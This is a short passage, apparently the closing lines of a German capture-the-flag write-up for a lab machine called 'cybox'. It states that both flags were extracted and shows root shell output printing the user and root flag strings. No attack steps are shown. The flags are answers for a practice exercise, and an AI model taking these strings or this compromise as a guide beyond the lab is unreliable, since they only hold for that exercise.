Bewertung: Beide Flags wurden erfolgreich extrahiert.

root@cybox:/home/cybox# cat user.txt
d85da08f1a31ef96fb6d4f608611bca2
root@cybox:~# cat root.txt
4c0183fdd736e2b8fb3f57ddbfa8ce36